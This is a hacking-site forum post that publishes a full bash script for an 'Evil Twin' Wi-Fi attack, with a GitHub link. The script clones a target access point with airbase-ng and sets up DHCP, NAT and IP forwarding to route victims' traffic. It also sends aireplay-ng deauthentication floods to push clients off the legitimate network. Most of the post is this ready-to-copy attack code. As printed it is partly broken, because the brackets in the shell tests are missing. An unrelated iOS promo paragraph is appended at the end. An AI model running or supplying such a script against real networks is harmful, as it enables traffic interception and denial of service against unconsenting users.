Header Banner
Null Byte Logo
Null Byte
wonderhowto.mark.png
Cyber Weapons Lab Forum Metasploit Basics Facebook Hacks Password Cracking Top Wi-Fi Adapters Wi-Fi Hacking Linux Basics Mr. Robot Hacks Hack Like a Pro Forensics Recon Social Engineering Networking Basics Antivirus Evasion Spy Tactics MitM Advice from a Hacker

Evil Twin(Part 3) - the Full Bash Script

Nov 20, 2015 09:53 PM
Jan 27, 2016 12:35 AM
"Evil Twin(Part 3) - the Full Bash Script" cover image

Hello All,

So to recap in part 1 I went through setting up the dchp server. Part 2 detailed the bash script. Now in part 3 I will post the entire bash script. I am doing this in its own post because Part 2 is just way to much info on one post IMO.

Here is the script. Please keep in mind this is my first bash script so it might not be perfect but i think it is pretty good and makes life a little easier. I hope you all enjoy!!!!!!

Update!!!!! Github link at the bottom of the post!

635836202009743684.jpg

########start copying below this line#########

#!/bin/bash

###########################################################################

#####Author: p4nt4n30######################################################

###########################################################################

function option0(){

echo ""

echo "Enter your monitor mode interface (wlan1mon): "

read interface

}

function option1(){

gnome-terminal -x airodump-ng $interface &

wait

}

function option2(){

bssid=''

while -z $bssid ; do

echo "Enter the BSSID: "

read bssid

done

channel=''

while -z $channel ; do

echo "Enter the Channel: "

read channel

done

echo "Write File Prefix: "

read writeFilePrefix

if -z $writeFilePrefix ; then

echo "No Write File Specified"

else

writeFile=" -w $writeFilePrefix"

fi

sleep 3

gnome-terminal -x airodump-ng --bssid $bssid -c $channel $writeFile $interface &

wait

}

function option3(){

options3=''

echo "Time to set up the Evil Twin AP!!!"

sleep 2

echo "Evil Twin ESSID: "

read etEssid

if -z $etEssid ; then

echo "ESSID not set"

else

options3="$options3 --essid $etEssid"

fi

echo "Evil Twin BSSIDoptional: "

read etBssid

if -z $etBssid ; then

echo "BSSID not set"

else

options3="$options3 -a $etBssid"

fi

echo "Enter the Channel: "

read etChannel

if -z $etChannel ; then

echo "Channel not set"

else

options3="$options3 -c $etChannel"

fi

echo "Enter the host MAC(client connected to target AP)optional: "

read etHost

if -z $etHost ; then

echo "Host MAC not set"

else

options3="$options3 -h $etHost"

fi

sleep 3

echo "Killing Airbase-ng..."

pkill airbase-ng

sleep 2;

echo "Killing DHCP..."

pkill dhcpd

sleep 5;

#echo $options3

echo "Starting Fake AP..."

gnome-terminal -x airbase-ng $options3 $interface &

sleep 2

echo "Starting DHCP Server..."

etInterface=''

while -z $etInterface ; do

echo "Enter Evil Twin Interface"

read etInterface

done

etNetwork=''

while -z $etNetwork ; do

echo "Enter Evil Twin Network (example: 10.0.0.0)"

read etNetwork

done

ifconfig $etInterface up

sleep 2

echo "These next two setting MUST!!! match the setting in your dhcpd.conf file"

sleep 2

etIP=''

while -z $etIP ; do

echo "Enter Evil Twin IPv4 Address"

read etIP

done

etNetmask=''

while -z $etNetmask ; do

echo "Enter Evil Twin netmask"

read etNetmask

done

etOutInterface=''

while -z $etOutInterface ; do

echo "Enter your internet faceing interface:"

read etOutInterface

done

sleep 2

ifconfig $etInterface up

ifconfig $etInterface $etIP netmask $etNetmask

route add -net $etNetwork netmask $etNetmask gw $etIP

sleep 5

iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain

iptables -P FORWARD ACCEPT

iptables -t nat -A POSTROUTING -o $etOutInterface -j MASQUERADE

echo > '/var/lib/dhcp/dhcpd.leases'

ln -s /var/run/dhcp/dhcpd.pid /var/run/dhcpd.pid

gnome-terminal -x dhcpd -d -f -cf /etc/dhcp/dhcpd.conf $etInterface &

sleep 5

echo "1" > /proc/sys/net/ipv4/ipforward

}

function option4(){

deauthType=''

while -z $deauthType ; do

echo "Would you like to run a basic deauth attack? (--deauth 100)"

echo "1 Yes"

echo "2 No"

read deauthType

done

echo "you selected $deauthType"

if $deauthType = 1 ; then

gnome-terminal -x aireplay-ng --deauth 100 -a $bssid $interface &

fi

if $deauthType = 2 ; then

echo "Enter your aireplay-ng options, you must add the -a tag, and DO NOT include the interface"

read options4

gnome-terminal -x aireplay-ng $options4 $interface &

fi

wait

}

function option5(){

echo "Killing airbase-ng"

pkill airbase-ng

sleep 1

echo "Killing dhcpd"

pkill dhcpd

sleep 1

echo "Killing aireplay-ng"

pkill aireplay-ng

sleep 1

echo "Killing airodump-ng"

pkill airodump-ng

sleep 1

echo "sleeping..."

sleep 2

exit

}

function menu(){

echo "What would you like to do?"

echo "0 set up interface"

echo "1 find the target"

echo "2 hone in on target"

echo "3 set up Evil-Twin AP"

echo "4 deauth the target AP"

echo "5 exit"

read userInput

}

function userAction(){

case $userInput in

0) option0 ;;

1) option1 ;;

2) option2 ;;

3) option3 ;;

4) option4 ;;

5) option5 ;;

esac

}

echo "##########################################################"

echo "####Evil Twin Automation##################################"

echo "##########################################################"

echo "Created By:###############################################"

echo " ___ _ ___ _ ____ ___ "

echo "(__ \ / / (___) / (___// _ |"

echo " __
) ) /__ __ / /__ __ __ | | //| |"

echo "| __/_
) \| | |_) \ (_ \| |// | |"

echo "| | | | | | | | |__ | | | | | |__) ) /_| |"

echo "|| || || ||\___) || || |(___/ \__/ "

echo "##########################################################"

echo "##########################################################"

echo "##########################################################"

echo "##########################################################"

echo ""

echo ""

echo "You MUST set your usb Wifi adapter in monitor mode first"

sleep 1

echo "You MUST have DHCP server installed and configured"

sleep 2

echo "Then follow the steps 1-5"

echo "This will help set up an Evil Twin AP"

echo ""

echo ""

echo ""

sleep 3

uI=0;

interface=''

while -z $interface ; do

option0

done

until $uI = 5 ; do

menu

uI=$userInput

#echo "you selected $uI hello"

userAction

done

########stop copying above this line#########

or download at: https://github.com/p4nt4n30/Evil-Twin

-P4nT4N30

The next big software update for iPhone is coming sometime in April and will include a Food section in Apple News+, an easy-to-miss new Ambient Music app, Priority Notifications thanks to Apple Intelligence, and updates to apps like Mail, Photos, Podcasts, and Safari. See what else is coming to your iPhone with the iOS 18.4 update.

Related Articles

Comments

No Comments Exist

Be the first, drop a comment!